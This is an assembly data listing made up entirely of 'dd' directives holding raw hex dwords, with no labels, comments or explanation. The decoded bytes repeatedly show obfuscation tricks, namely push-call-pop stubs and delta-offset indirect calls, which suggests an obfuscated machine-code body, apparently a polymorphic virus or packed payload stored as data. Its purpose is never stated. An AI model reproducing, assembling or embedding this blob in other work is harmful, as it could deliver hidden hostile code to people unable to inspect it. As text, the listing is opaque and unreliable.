		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9AC35747h
		dd 0BD83C785h, 60706DDh, 74840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0B094C356h, 84343E0Ah, 616B3E2Bh, 50DF8B66h,	348989B3h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 510656B7h, 0BE9h, 0E5992800h, 4E19E5F9h
		dd 0C68E1DB3h, 10E85Fh,	0EDBF0000h, 0C3563A32h,	38872AAFh
		dd 0D5926D76h, 0FF5BD80Eh, 0AA291B5h, 85316006h, 6070415h
		dd 4AC98166h, 95FF611Fh, 6071BF1h, 1BA9BD89h, 0B5FF0607h
		dd 60AA291h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	4DC35141h, 24CC3B11h, 999D8B64h, 0F060705h, 687h
		dd 918D0900h, 0FF060732h, 71AF595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BF661D06h
		dd 0BD837B5Bh, 60719F5h, 38840F02h, 89000000h, 729558Dh
		dd 29858B06h, 8B06071Ah, 72401BDh, 0C606h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9AC35646h, 0D97A06A2h
		dd 0C7D9C838h, 70D0985h, 6, 259D0100h, 0E9060716h, 0FFFFF1F0h
		dd 19E98589h, 0C18B0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 99C35343h, 1958BBB6h,	1F7A743Bh, 10E95320h
		dd 4B000000h, 8CEC0F40h, 500DEB1Ch, 84CC9BF6h, 5B043C83h
		dd 2C61858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0B1E9FFC3h, 0E9D8ED5Dh, 14h, 0CF275AA8h
		dd 42E9FE33h, 38A53658h, 95153D04h, 8EEA26CEh, 5E516050h
		dd 0F2CABB60h, 61616C31h, 0B3240489h, 0FC006A83h, 8D89006Ah
		dd 60703F9h, 768858Dh, 0B509060Ch, 60723B1h, 0EE9h, 203DB100h
		dd 77EE0355h, 924BCD82h, 830AC873h, 6A05C0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 575B46C3h
		dd 66909EB4h, 50E6B2BFh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0E58D8735h, 6AF655h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 48C35747h, 85B8DA02h
		dd 2901B589h, 0E7810607h, 560C663Eh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 5F817DC3h
		dd 7428EBD9h, 13860FF1h, 0E9000000h, 0Eh, 0DF7D860h, 0A1ABC724h
		dd 0B815EEF1h, 95FFFF46h, 6071335h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 70C35545h, 0D677D216h, 2B078195h
		dd 68F0F53h, 8B000000h,	73125BDh, 9D8D8D06h, 6A060A93h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 9260C356h, 0BD8B4ECAh, 6071405h, 28BBD1FFh
		dd 834F5C76h, 732B1BDh,	850F0106h, 5Dh,	61D98A60h, 6A026Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 6050DDC3h, 7133BB66h, 24048961h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0E9C35747h,	17E59D8Bh, 5F510607h
		dd 37EDE781h, 95FF00ACh, 6070285h, 0D63E9F8h, 0E80000h
		dd 5D000000h, 772ED81h,	0BD8B060Ch, 6070465h, 0AE9h, 4A42B300h
		dd 0E5B4D440h, 81987D16h, 1118F7D3h, 3858D12h, 6A060A86h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0D7DEC350h, 3D6B4A8Fh, 418C3FA2h,	0DBD8B60h
		dd 66060706h, 7C97C381h, 12E95061h, 0FE000000h,	0F5E9CBA3h
		dd 0AF89788Fh, 1D093850h, 4F318A1Ch, 0F505B6Fh,	280h, 89DD8A00h
		dd 10E92404h, 63000000h, 6725089h, 0BD957ACAh, 1850CF4Eh
		dd 643F8CFDh, 35FFh, 81660000h,	64D30DCFh, 2589h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 179E52C3h, 12E999h, 0D50B0000h, 7889BB8Dh, 9F7F7CF3h
		dd 0FC920A2Ch, 0E22BF8DFh, 2C8985FFh, 9D8B0607h, 6070F09h
		dd 0BEB3FF6Ah, 0CDDB5FFh, 0AE80607h, 34000000h,	0E8E08005h
		dd 0EE4C6FDDh, 0A5B529CAh, 5B060713h, 213D95FFh, 4CE90607h
		dd 0B0000001h, 890F00h,	0BF000000h, 94AA34Bh, 0F6070E6h
		dd 0E78ADEB7h, 8B71E461h, 711DD9Dh, 0F613C06h, 12683h
		dd 96B26000h, 0A39B529h, 81610607h, 0A34512C3h,	0C8B60F07h
		dd 6E960h, 438C0000h, 9A44966Ch, 1479BD89h, 0E8610607h
		dd 7, 724ED64Eh, 0F4044E4h, 0BA5FDBB7h,	6, 919D2B60h, 29060703h
		dd 73079BDh, 9D336106h,	6072E31h, 0CE9C18Bh, 36000000h
		dd 0E3DD14DAh, 0EC30C8C9h, 0C198A4BFh, 0DE8B04E8h, 6619D8Bh
		dd 0F7660607h, 9DBD09E2h, 2B060716h, 0A4CF81C8h, 8B053945h
		dd 6E9D1h, 75C50000h, 21276C42h, 96E9h,	69B58900h, 0E806071Ah
		dd 6, 28B76CF2h, 0BD0BED80h, 607130Dh, 4C858B5Bh, 60505F4Ch
		dd 8B47B560h, 71FF195h,	0B70F6106h, 0C08361D1h,	0C083F507h
		dd 3642BB00h, 0D03B2C43h, 17830Fh, 9D8B0000h, 6070F21h
		dd 4AE9h, 6880F00h, 2B000000h, 718E99Dh, 0FF8D8B06h, 66FFFFFFh
		dd 4508CB81h, 0F01E183h, 2A84h,	7E900h,	4C540000h, 46E9DA5Dh
		dd 0FFA583DEh, 0FEFFFFFFh, 236DCF81h, 95895961h, 505F4C4Ch
		dd 0DC19589h, 0E90607h,	8D000000h, 0B8852B5h, 6ADA8A06h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F62BFC1Eh, 5BB8FDCh, 0FF270917h, 71B6995h
		dd 0B95AB306h, 0FA5h, 0BE8h, 92EC3500h,	4F8A3AFEh, 60F2FD2Eh
		dd 2D75B589h, 835F0607h, 0B70FFCE1h, 6AFCF8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 232CA6C3h
		dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 890F94E6h, 2, 9509FA8Bh, 6070451h
		dd 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C233ADFDh, 0D003E8D1h, 7504E983h
		dd 53006AF4h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h
		dd 662F2F7h, 5F99C23Ah,	0AE9C6E1h, 49000000h, 836471F9h
		dd 0DA69185Ch, 0CF8166DDh, 880D0082h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 8DB5C355h, 9589FD9Bh, 6070C8Dh, 0A01958Bh, 51FC0607h
		dd 0A58D8B5Fh, 6A060714h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6591C353h, 7B0AFABFh
		dd 898D0142h, 50060707h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 2F04F219h, 2FCDBE74h, 0CE8h, 382D0F00h
		dd 15D3DFCh, 0D72894EDh, 859D2B29h, 5B060731h, 2FF9BD83h
		dd 0F000607h, 6884h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0B0E0F81Eh, 103D61E6h
		dd 8B662A3Fh, 0B8D8h, 66520000h, 8B5FFB8Bh, 721B59Dh, 4A8D8D06h
		dd 6A06074Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BBA0C355h, 8B668392h,	89E1FFF9h
		dd 712F185h, 0D5BD8306h, 6072Fh, 483840Fh, 0BF660000h
		dd 0BD839F63h, 6072FD5h, 8D840F01h, 0F8000004h,	2FD5BD83h
		dd 0F030607h, 44986h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 66D35F3Bh, 60C321BFh
		dd 2CFD9D03h, 8C660607h, 759D8BD9h, 8006070Dh, 6A04E1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D72605C3h, 0C23DCB67h, 43BF6657h, 0CB805FE3h, 0FC90AF7h
		dd 17184h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 219F2AD7h, 0BA4B1553h, 10999589h
		dd 858B0607h, 6070EF1h,	15698533h, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0BADA34C3h
		dd 0F08DC89Ch, 2850F50h, 0B7000000h, 2404891Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 62C35242h, 7D782333h
		dd 9F53C31Ah, 6AFC90h, 1B61BD8Bh, 4E80607h, 0FF000000h
		dd 0BB001F03h, 353E0B67h, 52505650h, 0B51BBB66h, 5F57310Fh
		dd 8B5F585Ah, 0B7042444h, 60008BD6h, 8961F28Bh,	53042444h
		dd 89E3BF66h, 6A585Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0C70C6FC3h, 94D5E003h, 0F61D750h
		dd 681h, 61BD0300h, 0FF060713h,	7056195h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 8B660F9Dh, 918589DAh, 6A060AA2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 91F3C355h
		dd 97E89AD3h, 0E06EBB66h, 1FFE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 43A90852h
		dd 280FBCFBh, 858B0E88h, 60AA289h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0D4C35747h,	5C8A69A8h, 9589B411h
		dd 6072841h, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0EA9F4DC3h, 2A9569DDh
		dd 8DB58BD5h, 6A060AA2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 11E3C350h, 1C7D858Bh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0EB0D9CC3h, 0C94CA05Ch, 31BD8BC3h, 8B06071Bh
		dd 890689D8h, 726AD9Dh,	0F1858B06h, 6A06070Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0E80FC352h, 488595B2h, 93F780CDh, 0E9044689h, 0Ch, 54B357B0h
		dd 81AD442Fh, 9ACCF1EFh, 0B3B76096h, 0F525051h,	5B585A31h
		dd 0F965061h, 86h, 0B1BD8B00h, 0FF060719h, 0AA289B5h, 0FE8B6606h
		dd 0E1327C68h, 8102B795h, 0D1832404h, 6A6A3Dh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0D5A203C3h, 0CB8166DEh, 8B66B1C4h, 91858DDAh, 6A060AA2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0A25AC350h, 81668146h, 90E7DAE7h,	8B5095B7h
		dd 6A90DEh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0A3076C3h, 66CC0BBEh, 0FF05C5BFh,	7056195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D70167CDh, 7BFE3558h, 6E83Bh, 0EB830000h
		dd 77B123BAh, 5BF8B70Fh, 50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 24ADF95Dh, 0C7F87FE7h
		dd 72FD585h, 306h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0BCEBAD76h, 0DC2B721Fh
		dd 91BD8392h, 60AA2h, 38840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 8CFC99C3h
		dd 0AC2EBC8Ch, 60CF803Ah, 0FDB531FCh, 61060727h, 20E9h
		dd 8FD1BF00h, 3050527Dh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 299D01C0h, 6A06070Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 68C5C356h, 83505179h, 72FD5BDh, 850F0306h, 390h, 9AF38166h
		dd 91BD8364h, 60AA2h, 37E840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0AC54B2C3h
		dd 0FFD82538h, 0AA291B5h, 4195FF06h, 6A060716h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0BDFC351h, 0A285B58Bh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 3C0E31C3h, 0E77C3B61h
		dd 80B66F87h, 6C7F9C7h,	10001h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 65C35141h, 0AB825DC4h, 89CD7AD2h
		dd 7043DB5h, 5E99606h, 0FD000000h, 2CD84F64h, 0FE850h
		dd 80EF0000h, 5B5961AAh, 97ACC1C0h, 61C18F34h, 6A965B46h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0B584C356h, 89BF1954h, 72409BDh, 91B5FF06h
		dd 8B060AA2h, 710859Dh,	0E195FF06h, 6A06071Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9FBCC352h, 0B9FA5143h, 0A285B58Bh, 0BD8B060Ah, 6072CD1h
		dd 20A5858Bh, 0BE90607h, 3F000000h, 0C827DD30h,	0BD1157AEh
		dd 86894592h, 0C4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 1EC35646h, 0F916D990h, 0C18E5E70h, 0A6F2BB72h
		dd 958B3976h, 6070A01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 49C35141h, 6A04C283h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 2518C356h, 20508978h, 2EE59D8Bh, 858D0607h, 60AB5BCh
		dd 2FFD8529h, 86890607h, 0B8h, 12F99D8Bh, 6A0607h, 5093F381h
		dd 8D892E41h, 6070A65h,	0A291B5FFh, 6A060Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 38137DC3h
		dd 0F9566DF2h, 8595FFFCh, 31060702h, 7154DBDh, 8A0F5006h
		dd 5, 9B2D75BBh, 24348948h, 91B5FFFCh, 6A060AA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 63E3C353h, 0F705C581h, 0DE9h, 569B5000h, 0E71C6802h
		dd 502408E7h, 95FF07C7h, 6071155h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 9C35646h, 8B6B3842h, 70549BDh
		dd 0D9BF0F06h, 6DDBD83h, 0F000607h, 3384h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 0F1D1066Bh, 494C20BEh, 8A96D4F2h, 8B6650FEh,	0B58996D8h
		dd 6071ADDh, 0A291B5FFh, 0BD8B060Ah, 607281Dh, 1BF195FFh
		dd 0BD290607h, 6072E41h, 1B6D9D8Bh, 0B5FF0607h,	60AA291h
		dd 2DDDBD0Bh, 95FF0607h, 6071AF5h, 83DBB70Fh, 719F5BDh
		dd 840F0206h, 5Ch, 3021BD33h, 858B0607h, 6071A29h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1CC35646h, 0C68681B2h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 7C9533C3h, 1363D5B9h, 0A9D2CB81h,	0E781689Ch
		dd 76BA18D5h, 0D0985C7h, 607h, 8D890000h, 60704C1h, 0FFF3C7E9h
		dd 2840FFFh, 8B000000h,	6AC18BF9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 72ECC357h
		dd 8BD08B60h, 7264585h,	6E96106h, 3D000000h, 0A55E49D0h
		dd 61858D90h, 3306072Ch, 7304DBDh, 52505006h, 14E9h, 0D5D16200h
		dd 0FB1CBCBh, 22CB86D7h, 0D12C9C3Eh, 0FD93DA7Fh, 8A310F05h
		dd 89585AF9h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0ADEE19C3h, 17EC2813h, 6A296227h
		dd 6E900h, 0EF8D0000h, 9C30182Dh, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 18CA6CC3h
		dd 8D0C7097h, 0C169A85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 8FBF3DD6h, 946C69A2h
		dd 2F759D89h, 81660607h, 8359BDC3h, 8D8905C0h, 60726EDh
		dd 52505790h, 310FFA8Bh, 585ADE8Bh, 0E950505Bh,	7, 0B0ADCDA4h
		dd 5F40E88Dh, 71958990h, 6A060730h, 71BD8B00h, 6A060726h
		dd 8860F00h, 0F000000h,	287h, 0FF56B300h, 7133595h, 0D5EB8006h
		dd 939D8D8Dh, 8E0F060Ah, 0Bh, 87D68060h, 1A69850Bh, 89610607h
		dd 7209185h, 6AD1FF06h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B53C356h, 701F99Dh
		dd 0B1BD8306h, 1060732h, 75850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 820E1FC3h
		dd 398DB3BEh, 26AA3ABh,	90FEBF0Fh, 90D98B50h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 4AC35141h, 28595FFh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 652730C3h, 8CB0A6F6h, 0E97F7560h,	0C83h
		dd 0E8h, 0ED815D00h, 60C16A4h, 1AECB0BBh, 52006A1Ah, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0CE0582FFh, 0AC21CED6h, 6890F77h, 31000000h,	70B7D8Dh
		dd 11E806h, 7DD70000h, 0FBECEC6Fh, 0C4AF7D97h, 0E780E25Fh
		dd 8994BDCBh, 706718Dh,	858D5B06h, 60A8603h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 67C35747h, 5D96E7E5h
		dd 0E851502Ch, 0Ch, 1DB4997h, 86EF00C3h, 0A0CDE993h, 5FF98B66h
		dd 2404895Fh, 11E9h, 88B65400h,	0CDB06DFCh, 0AA270F81h
		dd 0A0417F9Eh, 0FF6492BBh, 35h,	619D8B00h, 64060714h, 2589h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0F9C9F2C3h, 0FFF9BF0Fh, 72C8985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 676FBE06h, 602490D3h, 81F78152h, 5A24123Eh, 0FF6A61F8h
		dd 42DB8166h, 4DB5FFA7h, 66060705h, 6651D88Bh, 41D8CF81h
		dd 3D95FF5Bh, 0E9060721h, 138h,	65B3BA60h, 12E93821h, 4C000000h
		dd 9FB55104h, 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0B06116h
		dd 0AC19D0Bh, 0BD8B0607h, 6071809h, 0BD8B70E6h,	607118Dh
		dd 9D8971E4h, 60703C1h,	830F613Ch, 0F4h, 0D3EF8166h, 0F19D8B3Dh
		dd 0F060701h, 0BD33C8B6h, 6072D75h, 6BAh, 0C8A0F00h, 0F000000h
		dd 680h, 0AD958900h, 8B060718h,	68D0FC1h, 89000000h, 72CE1B5h
		dd 4E8C106h, 1C1D8D29h,	0F7660607h, 0FDBD8BE2h,	2B06070Bh
		dd 898D89C8h, 60060713h, 3C9B523h, 9D230607h, 6071FF1h
		dd 89D18B61h, 732DDBDh,	86E906h, 0DD8A0000h, 554C858Bh
		dd 8E94947h, 0AB000000h, 38CC6F5Dh, 83295445h, 6E807C0h
		dd 2F000000h, 598889ABh, 28A0FACh, 51000000h, 0C0835F5Fh
		dd 76D78100h, 3B6BCE9Eh, 0E830FD0h, 0B7000000h,	42E92Ah
		dd 95890000h, 60705EDh,	0FF8D8BF9h, 29FFFFFFh, 709E59Dh
		dd 0E183FC06h, 25840F01h, 66000000h, 83252DBFh,	0FFFFFFA5h
		dd 850FFEFFh, 3, 89FEBF0Fh, 47554C95h, 0B59D8B49h, 0E9060704h
		dd 0
		dd 97F7B58Dh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 4DE441C3h, 81006A3Ch, 0AED63CE7h
		dd 6995FF6Dh, 8106071Bh, 9178CFF7h, 0FEAB97Ah, 830F0000h
		dd 19h,	14E9h, 127CD800h, 5A203C3Fh, 0C7E6A2Fh,	0AC5C97A4h
		dd 860064E0h, 0FCE1831Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0E4C35242h, 9BB32C96h, 0D381D2EBh, 392C6BA0h
		dd 0D8B70FFCh, 6AC02Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 788E17C3h, 0F102E9BEh, 0F9D88A09h
		dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 98A38C3h,	71E5DBDh, 0C233AD06h, 0D003E8D1h
		dd 7504E983h, 1D9D8BF4h, 89060715h, 730418Dh, 0D8BF6606h
		dd 880D08h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 742186C3h, 0D08DA858h, 0FEBC1B9h
		dd 958BF9BFh, 6070A01h,	850929B3h, 6070601h, 14A58D8Bh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8937BFC3h, 7197985h, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2B14C355h
		dd 0AE8EEh, 8B1A0000h, 0A516DD59h, 78C25358h, 0E614EF81h
		dd 895B129Ah, 7009595h,	0F9BD8306h, 6072Fh, 7D840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DFAE80C3h, 2878487Ah, 8D9589DBh, 0B8060705h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1CC35141h
		dd 28D0Fh, 0DF8B0000h, 4B4A8D8Dh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0F529C5C3h
		dd 0FFF791CFh, 8393B7E1h, 72FD5BDh, 840F0006h, 3F1h, 262470BFh
		dd 0D5BD8337h, 106072Fh, 3FA840Fh, 50BF0000h, 8316A5D6h
		dd 72FD5BDh, 860F0306h,	3B2h, 6A608EB3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A15AC350h
		dd 89A7A8D2h, 7190DB5h,	0D98C6606h, 80FFB70Fh, 6A04E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 1ECF5CC3h, 0C90AF7B4h, 113840Fh, 0B5890000h,	6071E25h
		dd 0EF1858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 952189C3h, 77C2A0B2h, 0D88B4C46h
		dd 15698533h, 0BD230607h, 6070D01h, 89DC8A50h, 8A0F2404h
		dd 8, 800F53h, 5B000000h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0FB4977C3h, 0B4BB6612h
		dd 0FA8B6682h, 455AC4BFh, 4B85687Fh, 5753FF53h,	6802BF66h
		dd 4815F5Bh, 0CBB87A24h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 6052C38Bh, 0F9BCB9F8h
		dd 0FF61042Fh, 7056195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0AA05E64Ch, 0DFBB4B74h
		dd 32DD9D8Bh, 8C0F0607h, 8, 0E1BD8960h,	6106070Ch, 0A2918589h
		dd 0BD8B060Ah, 6070B99h, 1E7E9h, 6800F00h, 81000000h, 0C49752CBh
		dd 89858B55h, 0F5060AA2h, 1800C7h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0D82538C3h
		dd 29B39882h, 0A28DB58Bh, 0B501060Ah, 6072059h,	1C7D858Bh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 50FD94C3h, 321CBB66h, 6A0689h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E4979CC3h
		dd 0E931CB4Bh, 10h, 4C389DA2h, 527D00C1h, 5F4903BEh, 36F67511h
		dd 0EF1858Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 289608C3h, 8B799179h, 44689D8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EBC35343h
		dd 0B5891037h, 6071689h, 50D98B96h, 1EE2BB66h, 419D8B96h
		dd 0FF060731h, 0AA289B5h, 8B665306h, 4E85FDFh, 0FF000000h
		dd 66001F03h, 50FE34BFh, 424448Bh, 0E9F08A60h, 8, 0A8AC643Ch
		dd 907A57F1h, 0E8008B61h, 0Ah, 0F0E90CB9h, 3775A810h, 890FA5EAh
		dd 4, 6E12BF66h, 2444895Bh, 58F88B04h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0D4C35141h,	5AD506A7h, 0DE84F9C2h
		dd 0F3816608h, 858D2D0Eh, 60AA291h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 90C35343h, 0C6A86B17h, 81F5239Eh
		dd 469BD0Bh, 50500607h,	0FF88B52h, 0FE831h, 0D6FD0000h
		dd 0AED3A5B3h, 0FD1B6BE8h, 796415Dh, 0D88B6666h, 89585A5Fh
		dd 85292404h, 6071B6Dh,	56195FFh, 9D290607h, 6070B99h
		dd 0FA8B6661h, 2FD585C7h, 30607h, 0BD890000h, 6070BA5h
		dd 14E9h, 0FD93DA00h, 51BFFF05h, 0E6E17FFEh, 5DA4A2C0h
		dd 2F299FA2h, 91BD8303h, 60AA2h, 30840Fh, 52BB0000h, 891B4386h
		dd 715DDB5h, 3BE906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 34100CC3h, 3050B346h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 40C18CBFh, 0A14BEAE5h, 0DE86011h, 80000000h
		dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 23F98509h, 8B590607h
		dd 0BD8361FBh, 6072FD5h, 4850F03h, 6A000003h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0B09AC355h, 5F867350h, 93F87734h, 0A291BD83h, 0F00060Ah
		dd 2D284h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
